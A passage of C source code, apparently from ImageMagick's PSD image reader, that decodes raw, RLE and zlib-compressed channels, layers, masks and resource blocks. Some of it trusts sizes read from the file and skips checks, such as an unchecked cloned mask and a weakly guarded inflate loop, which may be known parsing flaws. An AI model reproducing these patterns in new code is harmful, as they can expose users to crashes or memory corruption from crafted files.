0xff; break; } default: { CheckNumberPixels(1); *pixels++=(*compact_pixels); break; } } compact_pixels++; } } return(i); } static inline LayerInfo *DestroyLayerInfo(LayerInfo *layer_info, const ssize_t number_layers) { ssize_t i; for (i=0; i<number_layers; i++) { if (layer_info[i].image != (Image *) NULL) layer_info[i].image=DestroyImage(layer_info[i].image); if (layer_info[i].mask.image != (Image *) NULL) layer_info[i].mask.image=DestroyImage(layer_info[i].mask.image); if (layer_info[i].info != (StringInfo *) NULL) layer_info[i].info=DestroyStringInfo(layer_info[i].info); } return (LayerInfo *) RelinquishMagickMemory(layer_info); } static inline size_t GetPSDPacketSize(Image *image) { if (image->storage_class == PseudoClass) { if (image->colors > 256) return(2); else if (image->depth > 8) return(2); } else if (image->depth > 8) return(2); return(1); } static inline MagickSizeType GetPSDSize(const PSDInfo *psd_info,Image *image) { if (psd_info->version == 1) return((MagickSizeType) ReadBlobLong(image)); return((MagickSizeType) ReadBlobLongLong(image)); } static inline size_t GetPSDRowSize(Image *image) { if (image->depth == 1) return(((image->columns+7)/8)*GetPSDPacketSize(image)); else return(image->columns*GetPSDPacketSize(image)); } static const char *ModeToString(PSDImageType type) { switch (type) { case BitmapMode: return "Bitmap"; case GrayscaleMode: return "Grayscale"; case IndexedMode: return "Indexed"; case RGBMode: return "RGB"; case CMYKMode: return "CMYK"; case MultichannelMode: return "Multichannel"; case DuotoneMode: return "Duotone"; case LabMode: return "L*A*B"; default: return "unknown"; } } static void ParseImageResourceBlocks(Image *image, const unsigned char *blocks,size_t length, MagickBooleanType *has_merged_image) { const unsigned char *p; StringInfo *profile; unsigned int count, long_sans; unsigned short id, short_sans; if (length < 16) return; profile=BlobToStringInfo((const void *) NULL,length); SetStringInfoDatum(profile,blocks); (void) SetImageProfile(image,"8bim",profile); profile=DestroyStringInfo(profile); for (p=blocks; (p >= blocks) && (p < (blocks+length-16)); ) { if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if ((p+count) > (blocks+length-16)) return; switch (id) { case 0x03ed: { char value[MaxTextExtent]; unsigned short resolution; /* Resolution info. */ p=PushShortPixel(MSBEndian,p,&resolution); image->x_resolution=(double) resolution; (void) FormatLocaleString(value,MaxTextExtent,"%g", image->x_resolution); (void) SetImageProperty(image,"tiff:XResolution",value); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&resolution); image->y_resolution=(double) resolution; (void) FormatLocaleString(value,MaxTextExtent,"%g", image->y_resolution); (void) SetImageProperty(image,"tiff:YResolution",value); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); image->units=PixelsPerInchResolution; break; } case 0x0421: { if (*(p+4) == 0) *has_merged_image=MagickFalse; p+=count; break; } default: { p+=count; break; } } if ((count & 0x01) != 0) p++; } return; } static CompositeOperator PSDBlendModeToCompositeOperator(const char *mode) { if (mode == (const char *) NULL) return(OverCompositeOp); if (LocaleNCompare(mode,"norm",4) == 0) return(OverCompositeOp); if (LocaleNCompare(mode,"mul ",4) == 0) return(MultiplyCompositeOp); if (LocaleNCompare(mode,"diss",4) == 0) return(DissolveCompositeOp); if (LocaleNCompare(mode,"diff",4) == 0) return(DifferenceCompositeOp); if (LocaleNCompare(mode,"dark",4) == 0) return(DarkenCompositeOp); if (LocaleNCompare(mode,"lite",4) == 0) return(LightenCompositeOp); if (LocaleNCompare(mode,"hue ",4) == 0) return(HueCompositeOp); if (LocaleNCompare(mode,"sat ",4) == 0) return(SaturateCompositeOp); if (LocaleNCompare(mode,"colr",4) == 0) return(ColorizeCompositeOp); if (LocaleNCompare(mode,"lum ",4) == 0) return(LuminizeCompositeOp); if (LocaleNCompare(mode,"scrn",4) == 0) return(ScreenCompositeOp); if (LocaleNCompare(mode,"over",4) == 0) return(OverlayCompositeOp); if (LocaleNCompare(mode,"hLit",4) == 0) return(HardLightCompositeOp); if (LocaleNCompare(mode,"sLit",4) == 0) return(SoftLightCompositeOp); if (LocaleNCompare(mode,"smud",4) == 0) return(ExclusionCompositeOp); if (LocaleNCompare(mode,"div ",4) == 0) return(ColorDodgeCompositeOp); if (LocaleNCompare(mode,"idiv",4) == 0) return(ColorBurnCompositeOp); if (LocaleNCompare(mode,"lbrn",4) == 0) return(LinearBurnCompositeOp); if (LocaleNCompare(mode,"lddg",4) == 0) return(LinearDodgeCompositeOp); if (LocaleNCompare(mode,"lLit",4) == 0) return(LinearLightCompositeOp); if (LocaleNCompare(mode,"vLit",4) == 0) return(VividLightCompositeOp); if (LocaleNCompare(mode,"pLit",4) == 0) return(PinLightCompositeOp); if (LocaleNCompare(mode,"hMix",4) == 0) return(HardMixCompositeOp); return(OverCompositeOp); } static inline void ReversePSDString(Image *image,char *p,size_t length) { char *q; if (image->endian == MSBEndian) return; q=p+length; for(--q; p < q; ++p, --q) { *p = *p ^ *q, *q = *p ^ *q, *p = *p ^ *q; } } static inline void SetPSDPixel(Image *image,const size_t channels, const ssize_t type,const size_t packet_size,const Quantum pixel, PixelPacket *q,IndexPacket *indexes,ssize_t x) { if (image->storage_class == PseudoClass) { if (packet_size == 1) SetPixelIndex(indexes+x,ScaleQuantumToChar(pixel)); else SetPixelIndex(indexes+x,ScaleQuantumToShort(pixel)); SetPixelRGBO(q,image->colormap+(ssize_t) ConstrainColormapIndex(image,GetPixelIndex(indexes+x))); return; } switch (type) { case -1: { SetPixelAlpha(q,pixel); break; } case -2: case 0: { SetPixelRed(q,pixel); if (channels == 1 || type == -2) { SetPixelGreen(q,GetPixelRed(q)); SetPixelBlue(q,GetPixelRed(q)); } break; } case 1: { if (image->storage_class == PseudoClass) SetPixelAlpha(q,pixel); else SetPixelGreen(q,pixel); break; } case 2: { if (image->storage_class == PseudoClass) SetPixelAlpha(q,pixel); else SetPixelBlue(q,pixel); break; } case 3: { if (image->colorspace == CMYKColorspace) SetPixelIndex(indexes+x,pixel); else if (image->matte != MagickFalse) SetPixelAlpha(q,pixel); break; } case 4: { if ((IssRGBCompatibleColorspace(image->colorspace) != MagickFalse) && (channels > 3)) break; if (image->matte != MagickFalse) SetPixelAlpha(q,pixel); break; } } } static MagickBooleanType ReadPSDChannelPixels(Image *image,const size_t channels, const size_t row,const ssize_t type,const unsigned char *pixels, ExceptionInfo *exception) { Quantum pixel; register const unsigned char *p; register IndexPacket *indexes; register PixelPacket *q; register ssize_t x; size_t packet_size; unsigned short nibble; p=pixels; q=GetAuthenticPixels(image,0,row,image->columns,1,exception); if (q == (PixelPacket *) NULL) return MagickFalse; indexes=GetAuthenticIndexQueue(image); packet_size=GetPSDPacketSize(image); for (x=0; x < (ssize_t) image->columns; x++) { if (packet_size == 1) pixel=ScaleCharToQuantum(*p++); else { p=PushShortPixel(MSBEndian,p,&nibble); pixel=ScaleShortToQuantum(nibble); } if (image->depth > 1) { SetPSDPixel(image,channels,type,packet_size,pixel,q++,indexes,x); } else { ssize_t bit, number_bits; number_bits=image->columns-x; if (number_bits > 8) number_bits=8; for (bit=0; bit < number_bits; bit++) { SetPSDPixel(image,channels,type,packet_size,(((unsigned char) pixel) & (0x01 << (7-bit))) != 0 ? 0 : QuantumRange,q++,indexes,x++); } if (x != (ssize_t) image->columns) x--; continue; } } return(SyncAuthenticPixels(image,exception)); } static MagickBooleanType ReadPSDChannelRaw(Image *image,const size_t channels, const ssize_t type,ExceptionInfo *exception) { MagickBooleanType status; size_t count, row_size; ssize_t y; unsigned char *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RAW"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,row_size,pixels); if (count != row_size) break; status=ReadPSDChannelPixels(image,channels,y,type,pixels,exception); if (status == MagickFalse) break; } pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } static inline MagickOffsetType *ReadPSDRLESizes(Image *image, const PSDInfo *psd_info,const size_t size) { MagickOffsetType *sizes; ssize_t y; sizes=(MagickOffsetType *) AcquireQuantumMemory(size,sizeof(*sizes)); if(sizes != (MagickOffsetType *) NULL) { for (y=0; y < (ssize_t) size; y++) { if (psd_info->version == 1) sizes[y]=(MagickOffsetType) ReadBlobShort(image); else sizes[y]=(MagickOffsetType) ReadBlobLong(image); } } return sizes; } static MagickBooleanType ReadPSDChannelRLE(Image *image,const PSDInfo *psd_info, const ssize_t type,MagickOffsetType *sizes,ExceptionInfo *exception) { MagickBooleanType status; size_t length, row_size; ssize_t count, y; unsigned char *compact_pixels, *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RLE compressed"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); length=0; for (y=0; y < (ssize_t) image->rows; y++) if ((MagickOffsetType) length < sizes[y]) length=(size_t) sizes[y]; compact_pixels=(unsigned char *) AcquireQuantumMemory(length,sizeof(*pixels)); if (compact_pixels == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(compact_pixels,0,length*sizeof(*compact_pixels)); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,(size_t) sizes[y],compact_pixels); if (count != (ssize_t) sizes[y]) break; count=DecodePSDPixels((size_t) sizes[y],compact_pixels, (ssize_t) (image->depth == 1 ? 123456 : image->depth),row_size,pixels); if (count != (ssize_t) row_size) break; status=ReadPSDChannelPixels(image,psd_info->channels,y,type,pixels, exception); if (status == MagickFalse) break; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #ifdef MAGICKCORE_ZLIB_DELEGATE static MagickBooleanType ReadPSDChannelZip(Image *image,const size_t channels, const ssize_t type,const PSDCompressionType compression, const size_t compact_size,ExceptionInfo *exception) { MagickBooleanType status; register unsigned char *p; size_t count, length, packet_size, row_size; ssize_t y; unsigned char *compact_pixels, *pixels; z_stream stream; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is ZIP compressed"); compact_pixels=(unsigned char *) AcquireQuantumMemory(compact_size, sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); packet_size=GetPSDPacketSize(image); row_size=image->columns*packet_size; count=image->rows*row_size; pixels=(unsigned char *) AcquireQuantumMemory(count,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) { compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } ResetMagickMemory(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; (void) ReadBlob(image,compact_size,compact_pixels); stream.next_in=(Bytef *)compact_pixels; stream.avail_in=(uInt) compact_size; stream.next_out=(Bytef *)pixels; stream.avail_out=(uInt) count; if (inflateInit(&stream) == Z_OK) { int ret; while (stream.avail_out > 0) { ret=inflate(&stream, Z_SYNC_FLUSH); if ((ret != Z_OK) && (ret != Z_STREAM_END)) { compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(MagickFalse); } } } if (compression == ZipWithPrediction) { p=pixels; while (count > 0) { length=image->columns; while (--length) { if (packet_size == 2) { p[2]+=p[0]+((p[1]+p[3]) >> 8); p[3]+=p[1]; } else *(p+1)+=*p; p+=packet_size; } p+=packet_size; count-=row_size; } } status=MagickTrue; p=pixels; for (y=0; y < (ssize_t) image->rows; y++) { status=ReadPSDChannelPixels(image,channels,y,type,p,exception); if (status == MagickFalse) break; p+=row_size; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #endif static MagickBooleanType ReadPSDChannel(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info,LayerInfo* layer_info, const size_t channel,const PSDCompressionType compression, ExceptionInfo *exception) { Image *channel_image, *mask; MagickOffsetType offset; MagickBooleanType status; channel_image=image; mask=(Image *) NULL; if (layer_info->channel_info[channel].type < -1) { const char *option; /* Ignore mask that is not a user supplied layer mask, if the mask is disabled or if the flags have unsupported values. */ option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if ((layer_info->channel_info[channel].type != -2) || (layer_info->mask.flags > 2) || ((layer_info->mask.flags & 0x02) && (IsStringTrue(option) == MagickFalse))) { SeekBlob(image,layer_info->channel_info[channel].size-2,SEEK_CUR); return(MagickTrue); } mask=CloneImage(image,layer_info->mask.page.width, layer_info->mask.page.height,MagickFalse,exception); mask->matte=MagickFalse; channel_image=mask; } offset=TellBlob(image); status=MagickTrue; switch(compression) { case Raw: status=ReadPSDChannelRaw(channel_image,psd_info->channels, layer_info->channel_info[channel].type,exception); break; case RLE: { MagickOffsetType *sizes; sizes=ReadPSDRLESizes(channel_image,psd_info,channel_image->rows); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=ReadPSDChannelRLE(channel_image,psd_info, layer_info->channel_info[channel].type,sizes,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); } break; case ZipWithPrediction: case ZipWithoutPrediction: #ifdef MAGICKCORE_ZLIB_DELEGATE status=ReadPSDChannelZip(channel_image,layer_info->channels, layer_info->channel_info[channel].type,compression, layer_info->channel_info[channel].size-2,exception); #else (void) ThrowMagickException(exception,GetMagickModule(), MissingDelegateWarning,"DelegateLibrarySupportNotBuiltIn", "'%s' (ZLIB)",image->filename); #endif break; default: (void) ThrowMagickException(exception,GetMagickModule(),TypeWarning, "CompressionNotSupported","'%.20g'",(double) compression); break; } SeekBlob(image,offset+layer_info->channel_info[channel].size-2,SEEK_SET); if (status == MagickFalse) { if (mask != (Image *) NULL) DestroyImage(mask); ThrowBinaryException(CoderError,"UnableToDecompressImage", image->filename); } layer_info->mask.image=mask; return(status); } static MagickBooleanType ReadPSDLayer(Image *image,const ImageInfo *image_info, const PSDInfo *psd_info,LayerInfo* layer_info,ExceptionInfo *exception) { char message[MaxTextExtent]; MagickBooleanType status; PSDCompressionType compression; ssize_t j; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " setting up new layer image"); if (psd_info->mode != IndexedMode) (void) SetImageBackgroundColor(layer_info->image); layer_info->image->compose=PSDBlendModeToCompositeOperator( layer_info->blendkey); if (layer_info->visible == MagickFalse) { layer_info->image->compose=NoCompositeOp; (void) SetImageArtifact(layer_info->image,"psd:layer.invisible","true"); } if (psd_info->mode == CMYKMode) SetImageColorspace(layer_info->image,CMYKColorspace); else if ((psd_info->mode == BitmapMode) || (psd_info->mode == DuotoneMode) || (psd_info->mode == GrayscaleMode)) SetImageColorspace(layer_info->image,GRAYColorspace); /* Set up some hidden attributes for folks that need them. */ (void) FormatLocaleString(message,MaxTextExtent,"%.20g", (double) layer_info->page.x); (void) SetImageArtifact(layer_info->image,"psd:layer.x",message); (void) FormatLocaleString(message,MaxTextExtent,"%.20g", (double) layer_info->page.y); (void) SetImageArtifact(layer_info->image,"psd:layer.y",message); (void) FormatLocaleString(message,MaxTextExtent,"%.20g",(double) layer_info->opacity); (void) SetImageArtifact(layer_info->image,"psd:layer.opacity",message); (void) SetImageProperty(layer_info->image,"label",(char *) layer_info->name); status=MagickTrue; for (j=0; j < (ssize_t) layer_info->channels; j++) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for channel %.20g",(double) j); compression=(PSDCompressionType) ReadBlobShort(layer_info->image); layer_info->image->compression=ConvertPSDCompression(compression); if (layer_info->channel_info[j].type == -1) layer_info->image->matte=MagickTrue; status=ReadPSDChannel(layer_info->image,image_info,psd_info,layer_info,j, compression,exception); InheritException(exception,&layer_info->image->exception); if (status == MagickFalse) break; } if (status != MagickFalse) status=ApplyPSDLayerOpacity(layer_info->image,layer_info->opacity, MagickFalse,exception); if ((status != MagickFalse) && (layer_info->image->colorspace == CMYKColorspace)) status=NegateImage(layer_info->image,MagickFalse); if (status != MagickFalse && layer_info->mask.image != (Image *) NULL) { const char *option; layer_info->mask.image->page.x=layer_info->mask.page.x; layer_info->mask.image->page.y=layer_info->mask.page.y; /* Do not composite the mask when it is disabled */ if ((layer_info->mask.flags & 0x02) == 0x02) layer_info->mask.image->compose=NoCompositeOp; else status=ApplyPSDOpacityMask(layer_info->image,layer_info->mask.image, layer_info->mask.background == 0 ? 0 : QuantumRange,MagickFalse, exception); option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if (IsStringTrue(option) != MagickFalse) PreservePSDOpacityMask(image,layer_info,exception); layer_info->mask.image=DestroyImage(layer_info->mask.image); } return(status); } ModuleExport MagickBooleanType ReadPSDLayers(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info, const MagickBooleanType skip_layers,ExceptionInfo *exception) { char type[4]; LayerInfo *layer_info; MagickSizeType size; MagickBooleanType status; register ssize_t i; ssize_t count, j, number_layers; size=GetPSDSize(psd_info,image); if (size == 0) { /* Skip layers & masks. */ (void) ReadBlobLong(image); count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); status=MagickFalse; if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) return(MagickTrue); else { count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count != 0) && (LocaleNCompare(type,"Lr16",4) == 0)) size=GetPSDSize(psd_info,image); else return(MagickTrue); } } status=MagickTrue; if (size != 0) { layer_info=(LayerInfo *) NULL; number_layers=(short) ReadBlobShort(image); if (number_layers < 0) { /* The first alpha channel in the merged result contains the transparency data for the merged result. */ number_layers=MagickAbsoluteValue(number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " negative layer count corrected for"); image->matte=MagickTrue; } /* We only need to know if the image has an alpha channel */ if (skip_layers != MagickFalse) return(MagickTrue); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image contains %.20g layers",(double) number_layers); if (number_layers == 0) ThrowBinaryException(CorruptImageError,"InvalidNumberOfLayers", image->filename); layer_info=(LayerInfo *) AcquireQuantumMemory((size_t) number_layers, sizeof(*layer_info)); if (layer_info == (LayerInfo *) NULL) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of LayerInfo failed"); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(layer_info,0,(size_t) number_layers* sizeof(*layer_info)); for (i=0; i < number_layers; i++) { ssize_t x, y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading layer #%.20g",(double) i+1); layer_info[i].page.y=ReadBlobSignedLong(image); layer_info[i].page.x=ReadBlobSignedLong(image); y=ReadBlobSignedLong(image); x=ReadBlobSignedLong(image); layer_info[i].page.width=(size_t) (x-layer_info[i].page.x); layer_info[i].page.height=(size_t) (y-layer_info[i].page.y); layer_info[i].channels=ReadBlobShort(image); if (layer_info[i].channels > MaxPSDChannels) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"MaximumChannelsExceeded", image->filename); } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " offset(%.20g,%.20g), size(%.20g,%.20g), channels=%.20g", (double) layer_info[i].page.x,(double) layer_info[i].page.y, (double) layer_info[i].page.height,(double) layer_info[i].page.width,(double) layer_info[i].channels); for (j=0; j < (ssize_t) layer_info[i].channels; j++) { layer_info[i].channel_info[j].type=(short) ReadBlobShort(image); layer_info[i].channel_info[j].size=(size_t) GetPSDSize(psd_info, image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " channel[%.20g]: type=%.20g, size=%.20g",(double) j, (double) layer_info[i].channel_info[j].type, (double) layer_info[i].channel_info[j].size); } count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer type was %.4s instead of 8BIM", type); layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"ImproperImageHeader", image->filename); } (void) ReadBlob(image,4,(unsigned char *) layer_info[i].blendkey); ReversePSDString(image,layer_info[i].blendkey,4); layer_info[i].opacity=(Quantum) ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); layer_info[i].clipping=(unsigned char) ReadBlobByte(image); layer_info[i].flags=(unsigned char) ReadBlobByte(image); layer_info[i].visible=!(layer_info[i].flags & 0x02); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " blend=%.4s, opacity=%.20g, clipping=%s, flags=%d, visible=%s", layer_info[i].blendkey,(double) layer_info[i].opacity, layer_info[i].clipping ? "true" : "false",layer_info[i].flags, layer_info[i].visible ? "true" : "false"); (void) ReadBlobByte(image); /* filler */ size=ReadBlobLong(image); if (size != 0) { MagickSizeType combined_length, length; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer contains additional info"); length=ReadBlobLong(image); combined_length=length+4; if (length != 0) { /* Layer mask info. */ layer_info[i].mask.page.y=ReadBlobSignedLong(image); layer_info[i].mask.page.x=ReadBlobSignedLong(image); layer_info[i].mask.page.height=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.y); layer_info[i].mask.page.width=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.x); layer_info[i].mask.background=(unsigned char) ReadBlobByte( image); layer_info[i].mask.flags=(unsigned char) ReadBlobByte(image); if (!(layer_info[i].mask.flags & 0x01)) { layer_info[i].mask.page.y=layer_info[i].mask.page.y- layer_info[i].page.y; layer_info[i].mask.page.x=layer_info[i].mask.page.x- layer_info[i].page.x; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer mask: offset(%.20g,%.20g), size(%.20g,%.20g), length=%.20g", (double) layer_info[i].mask.page.x,(double) layer_info[i].mask.page.y,(double) layer_info[i].mask.page.width, (double) layer_info[i].mask.page.height,(double) ((MagickOffsetType) length)-18); /* Skip over the rest of the layer mask information. */ if (DiscardBlobBytes(image,(MagickSizeType) (length-18)) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"UnexpectedEndOfFile", image->filename); } } length=ReadBlobLong(image); combined_length+=length+4; if (length != 0) { /* Layer blending ranges info. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer blending ranges: length=%.20g",(double) ((MagickOffsetType) length)); /* We read it, but don't use it... */ for (j=0; j < (ssize_t) length; j+=8) { size_t blend_source=ReadBlobLong(image); size_t blend_dest=ReadBlobLong(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " source(%x), dest(%x)",(unsigned int) blend_source,(unsigned int) blend_dest); } } /* Layer name. */ length=(MagickSizeType) (unsigned char) ReadBlobByte(image); combined_length+=length+1; if (length > 0) (void) ReadBlob(image,(size_t) length++,layer_info[i].name); layer_info[i].name[length]='\0'; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer name: %s",layer_info[i].name); if ((length % 4) != 0) { length=4-(length % 4); combined_length+=length; /* Skip over the padding of the layer name */ if (DiscardBlobBytes(image,length) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } length=(MagickSizeType) size-combined_length; if (length > 0) { unsigned char *info; layer_info[i].info=AcquireStringInfo((const size_t) length); info=GetStringInfoDatum(layer_info[i].info); (void) ReadBlob(image,(const size_t) length,info); } } } for (i=0; i < number_layers; i++) { if ((layer_info[i].page.width == 0) || (layer_info[i].page.height == 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is empty"); if (layer_info[i].info != (StringInfo *) NULL) layer_info[i].info=DestroyStringInfo(layer_info[i].info); continue; } /* Allocate layered image. */ layer_info[i].image=CloneImage(image,layer_info[i].page.width, layer_info[i].page.height,MagickFalse,exception); if (layer_info[i].image == (Image *) NULL) { layer_info=DestroyLayerInfo(layer_info,number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of image for layer %.20g failed",(double) i); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } if (layer_info[i].info != (StringInfo *) NULL) { (void) SetImageProfile(layer_info[i].image,"psd:additional-info", layer_info[i].info); layer_info[i].info=DestroyStringInfo(layer_info[i].info); } } if (image_info->ping == MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=0; j < layer_info[i].channels; j++) { if (DiscardBlobBytes(image,(MagickSizeType) layer_info[i].channel_info[j].size) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } continue; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for layer %.20g",(double) i); status=ReadPSDLayer(image,image_info,psd_info,&layer_info[i], exception); if (status == MagickFalse) break; status=SetImageProgress(image,LoadImagesTag,i,(MagickSizeType) number_layers); if (status == MagickFalse) break; } } if (status != MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=i; j < number_layers - 1; j++) layer_info[j] = layer_info[j+1]; number_layers--; i--; } } if (number_layers > 0) { for (i=0; i < number_layers; i++) { if (i > 0) layer_info[i].image->previous=layer_info[i-1].image; if (i < (number_layers-1)) layer_info[i].image->next=layer_info[i+1].image; layer_info[i].image->page=layer_info[i].page; } image->next=layer_info[0].image; layer_info[0].image->previous=image; } layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info); } else layer_info=DestroyLayerInfo(layer_info,number_layers); } return(status); } static MagickBooleanType ReadPSDMergedImage(const ImageInfo *image_info, Image* image,const PSDInfo* psd_info,ExceptionInfo *exception) { MagickOffsetType *sizes; MagickBooleanType status; PSDCompressionType compression; register ssize_t i; compression=(PSDCompressionType) ReadBlobMSBShort(image); image->compression=ConvertPSDCompression(compression); if (compression != Raw && compression != RLE) { (void) ThrowMagickException(exception,GetMagickModule(), TypeWarning,"CompressionNotSupported","'%.20g'",(double) compression); return(MagickFalse); } sizes=(MagickOffsetType *) NULL; if (compression == RLE) { sizes=ReadPSDRLESizes(image,psd_info,image->rows*psd_info->channels); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } status=MagickTrue; for (i=0; i < (ssize_t) psd_info->channels; i++) { if (compression == RLE) status=ReadPSDChannelRLE(image,psd_info,i,sizes+(i*image->rows), exception); else status=ReadPSDChannelRaw(image,psd_info->channels,i,exception); if (status != MagickFalse) status=SetImageProgress(image,LoadImagesTag,i,psd_info->channels); if (status == MagickFalse) break; } if ((status != MagickFalse) && (image->colorspace == CMYKColorspace)) status=NegateImage(image,MagickFalse); if (status != MagickFalse) status=CorrectPSDAlphaBlend(image_info,image,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); return(status); } static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception) { Image *image; MagickBooleanType has_merged_image, skip_layers; MagickOffsetType offset; MagickSizeType length; MagickBooleanType status; PSDInfo psd_info; register ssize_t i; ssize_t count; unsigned char *data; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read image header. */ image->endian=MSBEndian; count=ReadBlob(image,4,(unsigned char *) psd_info.signature); psd_info.version=ReadBlobMSBShort(image); if ((count == 0) || (LocaleNCompare(psd_info.signature,"8BPS",4) != 0) || ((psd_info.version != 1) && (psd_info.version != 2))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); (void) ReadBlob(image,6,psd_info.reserved); psd_info.channels=ReadBlobMSBShort(image); if (psd_info.channels > MaxPSDChannels) ThrowReaderException(CorruptImageError,"MaximumChannelsExceeded"); psd_info.rows=ReadBlobMSBLong(image); psd_info.columns=ReadBlobMSBLong(image); if ((psd_info.version == 1) && ((psd_info.rows > 30000) || (psd_info.columns > 30000))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.depth=ReadBlobMSBShort(image); if ((psd_info.depth != 1) && (psd_info.depth != 8) && (psd_info.depth != 16)) 